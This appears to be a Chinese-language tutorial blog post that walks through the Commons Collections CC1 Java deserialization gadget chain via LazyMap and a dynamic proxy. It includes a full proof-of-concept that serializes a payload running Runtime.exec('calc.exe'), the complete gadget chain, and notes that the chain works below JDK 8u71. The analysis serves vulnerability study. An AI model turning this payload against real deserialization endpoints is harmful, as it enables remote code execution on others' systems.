cc链的另一种构造方式 接着上篇的分析,上文中讲到LazyMap
通过get()
方法可以达到利用链触发命令执行
根据get()
方法克制,根据传入的key进行判断,如果map中不包含此key,就会通过factory
调用transform()
方法,这里的factory
是可以通过构造方法进行赋值的,那么这里可以将factory
的值赋值为ChainedTransformers
,就可以触发后面的调用链完成命令执行。但可以看到LazyMap
的构造方法是被protected
关键词修饰的,是无法直接进行new创建的,
查找其他函数时,发现decorate()
方法可以完成factory
的赋值。这也是为什么在前面的POC里面我们调用该方法并传入innerMap
和transformerChain
参数。
这里传入的innerMap
为为一个Map集合,transformerChain
为一个被ChainedTransformer
修饰过的Transformer[]
数组
1 Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
调试分析,首先进入decorate()
方法,完成factory
的赋值
下一步进入get()方法,调用transform()
方法,后续就是循环调用Transformer#transform
方法
上面是我们测试的POC的调用过程,但在实际利用中,如何让它调用到我们的get()
方法呢,在上篇中AnnotationInvocationHandler
的invoke()
方法会调用get()
方法
根据构造方法传入第⼀个参数是⼀个Annotation
类类型参数,该类是注解类,第二个是map类型参数,这个参数可以传LazyMap
类型的对象去调用get()
方法,get()
方法调用transform()
,
怎么去调用AnnotationInvocationHandler
的invoke
POC分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt")); oos.writeObject(handler); }
看下这行代码
1 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
这里的handler
是反射创建的一个 AnnotationInvocationHandler
类。而AnnotationInvocationHandler
中实现了InvocationHandler
接口,可以直接作为调用处理器传入。在poc执行反序列化时,由于AnnotationInvocationHandler
重写了readObject()
方法,并且readObject()
方法会调用memberValues.entrySet().iterator()
,这里的memberValues
即为被代理类LazyMap
,通过构造方法传入并赋值
在下面代理对象是proxyMap
,当调用proxyMap
的entrySet()
会触发到AnnotationInvocationHandler
的invoke()
方法进行执行。这也是动态代理的一个特性,代理对象调用任意方法,调用处理器中的invoke()
方法都会执行一次。
1 2 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
所以接下来就会执行AnnotationInvocationHandler
的invoke()
方法,接着调用LazyMap#get()
触发后面的利用链
进入get()
方法,如下,后面就和之前的利用过程一致了
完整的利用链如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
总结 CC1这条链里面是有版本限制的,在高版本中对readObject()
方法进行了修改,经过测试jdk < 8u71,可以利用成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 jdk1.7.0_21 【成功】 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { return; } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } } jdk1.8.0_171 【失败】 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { GetField var2 = var1.readFields(); Class var3 = (Class)var2.get("type", (Object)null); Map var4 = (Map)var2.get("memberValues", (Object)null); AnnotationType var5 = null; try { var5 = AnnotationType.getInstance(var3); } catch (IllegalArgumentException var13) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var6 = var5.memberTypes(); LinkedHashMap var7 = new LinkedHashMap(); String var10; Object var11; for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) { Entry var9 = (Entry)var8.next(); var10 = (String)var9.getKey(); var11 = null; Class var12 = (Class)var6.get(var10); if (var12 != null) { var11 = var9.getValue(); if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) { var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10)); } } } AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3); AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7); }
参考 https://www.cnblogs.com/nice0e3/p/13798371.html